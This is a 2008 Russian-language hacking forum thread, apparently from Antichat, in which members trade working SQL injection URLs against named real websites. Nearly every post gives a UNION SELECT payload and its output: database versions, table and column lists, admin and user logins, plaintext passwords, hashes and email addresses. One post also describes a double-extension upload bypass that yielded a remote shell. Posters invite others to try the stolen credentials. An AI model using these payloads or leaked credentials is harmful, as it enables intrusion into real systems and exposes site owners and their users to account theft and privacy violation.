SQL Инъекции

Ponchik · 25 Sep 2008

Искал где поиграть в билот, билот не нащёл, но со скулей поигрался

Code:

http://www.gambler.ru/tours/protocol.php?tourid=129903&teamid=-1+UNION+SELECT+1,concat_ws(0x3a,VERSION(),USER(),DATABASE()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51--

Code:

5.0.51a-log:gambread@localhost:gambler

KPOT_f!nd · 25 Sep 2008

Code:
http://www.dddhouse.com/v3/product_list.php?CategoryID=-1/**/union/**/select/**/1,1,1,1,1,1,1,1/*
Code:
http://www.ransomesjacobsen.com/product_list.php?t=category&id=-3+union+select+1,2/*
Code:
http://california.preferredjobs.com/profiles/profilesubmitrez.asp?number=1+or+1=(SELECT+TOP+1+Password+from+artUsersAdmin))--
Таблицы
syssegments
sysconstraints
jobs
websjobads
ASPLoginUserTbl
JobFair
affiliates
approved_jobs
Articles
artUsers
artUsersAdmin
builderjobs
categories
Comments
dtproperties
email
employers
employers_old
interns
JobFair2
jobs2
jobscats
jobsstored
jobstemp
messages
Months
newsletter
numberjobs
Posts
rbe
rls_jobs
unapproved_jobs
unpaid_affiliates
USER_NOTE
USER_SEARCH
USER_WISH
webs

3xIm3 · 25 Sep 2008

Code:

http://www.pku.org/pages/news.php?id=408+UNION+SELECT+1,2,concat_ws(0x3a,password,email)+FROM+member/*

4.1.22-standard

ku_@localhost

ku_db1

Code:

http://www.aupe.org/in_the_news/news.php?id=-96+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,CONCAT_WS(0x3a,version(),user(),database()),20,21/*

4.0.18:root@localhost:aupe

Code:

http://www.globalwaterfoundation.org/news.php?id=-1+UNION+SELECT+1,2,concat_ws(0x3a,VERSION(),USER(),DATABASE())/*

VERSION 5

3xIm3 · 25 Sep 2008

Code:

http://www.greenecountyfoundation.org/news.php?id=-10+union+select+1,2,version(),4,5--

5.0.51a-community-log

Iceangel_ · 25 Sep 2008

Code:

http://www.tgchat.co.uk/profile.php?id=-146+union+select+1,version(),3,4,5,6,7,8,9,10,11/*

5.0.45

некоторые таблицы...

Code:

PrivatePictures
new_access
new_authmap
new_filters
new_forum
new_profile_fields
new_profile_values
new_system
new_users

-----------

Code:

http://www.fergusonhill.co.uk/product_details.php?id=7+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86/*

4.1.22-standard
-----------

Code:

http://www.forensicrecords.co.uk/artistdetail.php?id=-216+union+select+1,version(),3,4/*

5.0.27
----------

Code:

http://www.welovemarlborough.co.uk/marlborough_news.php?id=-88++union+select+1,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+users/*

----------

Code:

http://fat-cat.co.uk/fatcat/artistInfo.php?id=-53++union+select+1,login,3,4,5,6,7+from+users/*

iwantiwantiwant:Seiji25x
----------
mysql.user:
root:*5D769374F92AB78666CB6CDADBE62DB99DBE8411
----------

Code:

http://www.snseurope.com/snslink/news/news-full.php?id=-3565+union+select+1,2,3,4,5,concat(username,0x3a,password),7,8,9,10,11,12,13,14,15,16,17,18,19,20+from+users/*

$n@ke · 25 Sep 2008

http://www.mayores.uji.es/canal.php?id=152[sql]
Click to expand...

Dbname: mayores
Version: 5.0.20a-log
User: mayores@localhost

http://www.mayores.uji.es/joomla/
http://www.mayores.uji.es/forum/

Table [mayores]
Table [canales]
Table [documentos]
Table [drupal_access]
Table [drupal_accesslog]
Table [drupal_actions]
Table [drupal_actions_aid]
Table [drupal_aggregator_category]
Table [drupal_aggregator_category_feed]
Table [drupal_aggregator_category_item]
Table [drupal_aggregator_feed]
Table [drupal_aggregator_item]
Table [drupal_authmap]
Table [drupal_batch]
Table [drupal_blocks]
Table [drupal_blocks_roles]
Table [drupal_boxes]
Table [drupal_cache]
Table [drupal_cache_block]
Table [drupal_cache_filter]
Table [drupal_cache_form]
Table [drupal_cache_menu]
Table [drupal_cache_page]
Table [drupal_cache_update]
Table [drupal_comments]
Table [drupal_files]
Table [drupal_filter_formats]
Table [drupal_filters]
Table [drupal_flood]
Table [drupal_history]
Table [drupal_languages]
Table [drupal_locales_source]
Table [drupal_locales_target]
Table [drupal_menu_custom]
Table [drupal_menu_links]
Table [drupal_menu_router]
Table [drupal_node]
Table [drupal_node_access]
Table [drupal_node_comment_statistics]
Table [drupal_node_counter]
Table [drupal_node_revisions]
Table [drupal_node_type]
Table [drupal_permission]
Table [drupal_poll]
Table [drupal_poll_choices]
Table [drupal_poll_votes]
Table [drupal_role]
Table [drupal_search_dataset]
Table [drupal_search_index]
Table [drupal_search_node_links]
Table [drupal_search_total]
Table [drupal_sessions]
Table [drupal_system]
Table [drupal_term_data]
Table [drupal_term_hierarchy]
Table [drupal_term_node]
Table [drupal_term_relation]
Table [drupal_term_synonym]
Table [drupal_upload]
Table [drupal_url_alias]
Table [drupal_users]
Table [drupal_users_roles]
Table [drupal_variable]
Table [drupal_vocabulary]
Table [drupal_vocabulary_node_types]
Table [drupal_watchdog]
Table [enc_encuestas]
Table [enc_preguntas]
Table [enc_respuestas]
Table [enc_valores]
Table [foros_foros]
Table [foros_moderadores]
Table [foros_temas]
Table [foros_textos_tema]
Table [joomla_banner]
Table [joomla_bannerclient]
Table [joomla_bannertrack]
Table [joomla_categories]
Table [joomla_components]
Table [joomla_contact_details]
Table [joomla_content]
Table [joomla_content_frontpage]
Table [joomla_content_rating]
Table [joomla_core_acl_aro]
Table [joomla_core_acl_aro_groups]
Table [joomla_core_acl_aro_map]
Table [joomla_core_acl_aro_sections]
Table [joomla_core_acl_groups_aro_map]
Table [joomla_core_log_items]
Table [joomla_core_log_searches]
Table [joomla_custom_properties]
Table [joomla_custom_properties_fields]
Table [joomla_custom_properties_values]
Table [joomla_easybook]
Table [joomla_easybook_badwords]
Table [joomla_easycaptcha_config]
Table [joomla_easycaptchas]
Table [joomla_easycaptchas_dpaulus]
Table [joomla_easycaptchas_secimg]
Table [joomla_easycomments]
Table [joomla_easygb]
Table [joomla_groups]
Table [joomla_idoblog_comments]
Table [joomla_idoblog_friends]
Table [joomla_idoblog_tags]
Table [joomla_idoblog_tags_reffer]
Table [joomla_idoblog_user_reffer]
Table [joomla_idoblog_users]
Table [joomla_ja_acl]
Table [joomla_ja_captcha]
Table [joomla_jce_extensions]
Table [joomla_jce_groups]
Table [joomla_jce_plugins]
Table [joomla_joomla_flash_uploader]
Table [joomla_joomla_flash_uploader_conf]
Table [joomla_joomla_flash_uploader_user]
Table [joomla_menu]
Table [joomla_menu_types]
Table [joomla_messages]
Table [joomla_messages_cfg]
Table [joomla_migration_backlinks]
Table [joomla_modules]
Table [joomla_modules_menu]
Table [joomla_newsfeeds]
Table [joomla_plugins]
Table [joomla_poll_data]
Table [joomla_poll_date]
Table [joomla_poll_menu]
Table [joomla_polls]
Table [joomla_sections]
Table [joomla_session]
Table [joomla_stats_agents]
Table [joomla_templates_menu]
Table [joomla_users]
Table [joomla_weblinks]
Table [joomla_yvcomment]
Table [mc_accesos]
Table [mc_chat]
Table [phpbb_auth_access]
Table [phpbb_banlist]
Table [phpbb_categories]
Table [phpbb_config]
Table [phpbb_confirm]
Table [phpbb_disallow]
Table [phpbb_forum_prune]
Table [phpbb_forums]
Table [phpbb_groups]
Table [phpbb_posts]
Table [phpbb_posts_text]
Table [phpbb_privmsgs]
Table [phpbb_privmsgs_text]
Table [phpbb_ranks]
Table [phpbb_search_results]
Table [phpbb_search_wordlist]
Table [phpbb_search_wordmatch]
Table [phpbb_sessions]
Table [phpbb_sessions_keys]
Table [phpbb_smilies]
Table [phpbb_themes]
Table [phpbb_themes_name]
Table [phpbb_topics]
Table [phpbb_topics_watch]
Table [phpbb_user_group]
Table [phpbb_users]
Table [phpbb_vote_desc]
Table [phpbb_vote_results]
Table [phpbb_vote_voters]
Table [phpbb_words]
Table [portada]
Table [tablon]
Click to expand...

je0n · 26 Sep 2008

http://www.kaspersky.ee/ ля-ля-ля
Code:
http://www.kaspersky.ee/index.php?area=1&p=gallery&action=showimages&galid=-1+union+select+0,concat_ws(0x2F,uname,email,pass),2+from+kpro_user+where+ugroup=1+limit+0,1
http://www.kaspersky.ee/admin/
leroi/[email protected]/c263dbf51a63271ae226609fc8d8cace:star59
vasja/[email protected]/046833087b7f4017c7e9c9644176fed1
kaspersky/[email protected]/92b36ff295fc38a4a2e773e19d6b3b34
sky_pets/[email protected]/cb2513e0bbfc31544af7948592527bd0
kass_ru/[email protected]/7c3d596ed03ab9116c547b0eb678b247:aaaaaa

3xIm3 · 26 Sep 2008

Code:

http://www.kelbike.fr/search.php?q=deda&pmin=&pmax=&brand=&limite=80&ps=&po=&pv=&ls=0&ct=-1/**/UNION/**/SELECT/**/VERSION(),2,3/**/LIMIT/**/1,1/*

5.0.32-Debian_7etch6-log

Code:

http://www.kelbike.fr/search.php?q=deda&pmin=&pmax=&brand=&limite=80&ps=&po=&pv=&ls=0&ct=-1/**/UNION/**/SELECT/**/CONCAT_WS(0x3A,user_nom,user_pwd),2,3/**/FROM/**/dc_user/**/LIMIT/**/1,1/*

admin:kelbike1 админку не нашел

Code:

http://www.hrusa.org/field/listings.php?catid=-1+union+select+concat_ws(0x3a,version(),user(),database()),2,3,4/*

5.0.45:hrusa@lawweb2-private:hrusa

Code:

http://www.hrusa.org/field/listings.php?catid=-1+union+select+concat_ws(0x3a,name,password),2,3,4+FROM+users+limit+0,1/*

admin:hrcalendar к админке не подходит

Iceangel_ · 26 Sep 2008

хекаем .edu
на всех 5-я версия мускула...

http://www.stots.edu/article.php?id=-46+union+select++1,2,concat(user,0x3a,password,0x3a,host),4,5,6,7,8+from+mysql.user+limit+1,1/*
5.0.27-standard
в теме "Расшифровка хешей" я выкладывал выуженные хеши, там даже мне их частично расшифровали...

http://www.psych.utah.edu/people/gradstud.php?id=-131+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,15,16,17,18/*
5.0.22-log 3

http://dma.ucla.edu/people/faculty.php?ID=-9+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*
5.0.45 4

groupby · 27 Sep 2008

итак. Нашел я сайтик: http://baltportal.ru

Общая инфа:

MySQL version: 5.0.51a-community
MySQL user: nwlove_baltru@localhost
MySQL database: nwlove_baltru
Click to expand...

Таблицы:

_news
_news_comm
_news_type
active_session
auth_user
banks
banks_cat
cash
dt_anekdot
dt_city
dt_notice
faq
help
log_stat
portals
reklama
types
types_rights
vote
vote_answer
vote_ask
vote_votes
Click to expand...

Некоторые поля из талицы auth_user: name, nik, password, admin, email
Чувак, который походу админ: Дмитрий Шахов1,
Администратор, pwdportalpwd, [email protected]

Не знаю почему, но с этими данными админский доступ получить не смог (.
Я не отчаялся. Получил пользовательский доступ и пошел рыть дальше.
В редактировании профиля предлагается загрузить картинку. Если ты грузишь не картинку а пхп-файл, то это жестко пресекается ))) А если файл назвать не файл.пхп, а файл.жпг.пхп, то все чудесно проходит и ты получаешь удаленный шелл. Проблема только в том, что у этого шела права ограниченные (видимо там права более менее нормально на папку с картинками настроили).
В общем если кто-то чего-то дальше раскопает тут, буду рад получить доп. инфу в личку.
Кстати, если кому-то нужна программа для ускорения поиска таблиц и генерации инъекций, пишите в личку (SQLInjectHelper).

slider · 27 Sep 2008

http://mobila.kz

вообщемс... там весь сайт ... одна большая скуля.....
удобный вывод в цикле .. не может не порадовать глаз....

http://mobila.kz/item_pop_up.php?item_id=-852+union+select+1,2,3,4,5,6,7
Click to expand...

http://mobila.kz/item_pop_up.php?item_id=-6+union+select+1,2,3,4,5,column_name,7+from+information_schema.columns+where+table_name=char(115,98,115,95,117,115,101,114)
Click to expand...

PR тИЦ Alexa
3 20 1773095

USAkid · 27 Sep 2008

БЕЛОРУССКАЯ АССОЦИАЦИЯ СОЦИАЛЬНЫХ РАБОТНИКОВ

http://basw-ngo-by.net/

Фух бла, ну и заепался я его исследовать. Таблицы какие-то странные ваще вконце пошли. Но сам результат:
Code:
http://basw-ngo-by.net/page.php?parent=0&issue_id=2613+union+select+1,2,version(),4,5,6,7,8,9,10,11,12--
5.0.51a-community-log

Таблиц всего 59 насчитал. Перечислять тут небуду, т.к. займет много места)

Главное - в таблице basw_ru_subscribers был обнаружен столбец - pass. Чем она собсна мя и заинтересовала:
Code:
http://basw-ngo-by.net/page.php?parent=0&issue_id=2613+union+select+1,2,column_name,4,5,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=0x626173775f72755f7375627363726962657273+limit+0,1--
Code:
[b]id[/B]
name
last_name
[b]email
pass[/b]
group2
name_org
time
Code:
http://basw-ngo-by.net/page.php?parent=0&issue_id=2613+union+select+1,2,concat_ws(id,0x3a,name,0x3a,pass),4,5,6,7,8,9,10,11,12+from+basw_ru_subscribers+limit+0,1--
Ну и пошли логины и пассы (в открытом виде)

Раз сайт "Ассоциация.....", то вполне возможно ассоциировать етот пароль с настоящим мылом. Кому захочется - пробуйте

iddqd · 27 Sep 2008

knock.lv - интернет-магазин.

5.0.51a-community:knok_knock@localhost:knok_knock
Code:
http://www.knock.lv/view_more.php?action=view_s&product_id=269+union+select+1,2,3,concat_ws(0x3a,username,password),5,6,7,8,9,10+from+users--

$n@ke · 27 Sep 2008

www.migranews.it PR 6

http://www.migranews.it/stampaart.php?indice=729[sql]
Click to expand...

Version: 5.0.67
Dbname: migranews_it
Username: [email protected]

table login
Click to expand...

migra : prova

luz3r · 27 Sep 2008

Code:

http://blueshop.ru/details.php?product_id=-1+union+select+1,2,3,4,5,6,7,table_name,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.tables--

luz3r · 27 Sep 2008

http://www.vzmakh.ru/b_sh/fotki1.php?novost=-1+UNION+SELECT+1,user()--
Click to expand...

[email protected]

http://www.vzmakh.ru/b_sh/fotki1.php?novost=-1+UNION+SELECT+1,version()--
Click to expand...

4.1.22

luz3r · 27 Sep 2008

http://www.bis-el.kiev.ua/start.php?parent_id=0&part_id=1&article_id=230+union+select+1,2,3,4,table_name,6,7,8,9,10,11+from+information_schema.tables+limit+1,1--
Click to expand...

- COLLATIONS
- COLLATION_CHARACTER_SET_APPLICABILITY
- COLUMNS
- COLUMN_PRIVILEGES
- ENGINES
- EVENTS
- FILES
- GLOBAL_STATUS
- GLOBAL_VARIABLES
- KEY_COLUMN_USAGE
- PARTITIONS
- PLUGINS
- PROCESSLIST
- REFERENTIAL_CONSTRAINTS
...
- USERS

http://www.bis-el.kiev.ua/start.php?parent_id=0&part_id=1&article_id=230+union+select+1,2,3,4,column_name,6,7,8,9,10,11+from+information_schema.columns+where+table_name=0x7573657273+limit+1,1--
Click to expand...

А вот и поля.. :
- login
- passwd
- fio
- fname
- ffname
- sname
- company
- dolj
- sex
- country
- region
- address
- telephone
- fax
- email
- url
дальше не стал...

http://www.bis-el.kiev.ua/start.php?parent_id=0&part_id=1&article_id=230+union+select+1,2,3,4,concat_ws(0x3a,login,passwd,email),6,7,8,9,10,11+from+users+limit+1,1--
Click to expand...

Пароли в открытом виде...
Приведу парочку

№ login : pass : mail

1) Bear:igor2001:[email protected]
2) [email protected]asha:уже писал - (тут логин и есть мыло)
3) artemk:234:[email protected]
4) Alex:king:[email protected]
Click to expand...

Авторизация тут

luz3r · 27 Sep 2008

http://quiddich.voldemort.ru/forum.php?forum=16&sid=&skey=&topic=-599+union+select+1,version(),3,4,5,6,7,8,9/*
Click to expand...

4.1.22

S00pY · 27 Sep 2008

http://www.bt-shop.ru/section_output.php?id=-1+union+select+1,2,3,version(),5,6,7/*
version:4
http://www.intexusa.ru/forum/read.php?id=99999999999+union+select+1,2,3,4,5,6,7--
Нет принтабельных

http://www.lory-press.ru/book.php?id=1+and+substring(@@version,1,1)=3
version:3

3xIm3 · 28 Sep 2008

Code:

http://www.pku.org/pages/news.php?id...cat_ws(0x3a,pa ssword,email)+FROM+member--

Code:

http://www.snseurope.com/snslink/new...17,18,19,20+fr om+users--

Code:

http://www.stots.edu/article.php?id=...a,password,0x3 a,host),4,5,6,7,8+from+mysql.user+limit+1,1--

SQL Инъекции

Ponchik Хлебо-булочное изделие

KPOT_f!nd положенец общага

3xIm3 Elder - Старейшина

3xIm3 Elder - Старейшина

Iceangel_ Elder - Старейшина

$n@ke Elder - Старейшина

je0n Elder - Старейшина

3xIm3 Elder - Старейшина

Iceangel_ Elder - Старейшина

groupby Elder - Старейшина

slider Reservists Of Antichat

USAkid Elder - Старейшина

iddqd Banned

$n@ke Elder - Старейшина

luz3r Banned

luz3r Banned

luz3r Banned

luz3r Banned

S00pY Active Member

3xIm3 Elder - Старейшина

Useful Searches

SQL Инъекции

Ponchik Хлебо-булочное изделие

KPOT_f!nd положенец общага

3xIm3 Elder - Старейшина

3xIm3 Elder - Старейшина

Iceangel_ Elder - Старейшина

$n@ke Elder - Старейшина

je0n Elder - Старейшина

3xIm3 Elder - Старейшина

Iceangel_ Elder - Старейшина

groupby Elder - Старейшина

slider Reservists Of Antichat

USAkid Elder - Старейшина

iddqd Banned

$n@ke Elder - Старейшина

luz3r Banned

luz3r Banned

luz3r Banned

luz3r Banned

S00pY Active Member

3xIm3 Elder - Старейшина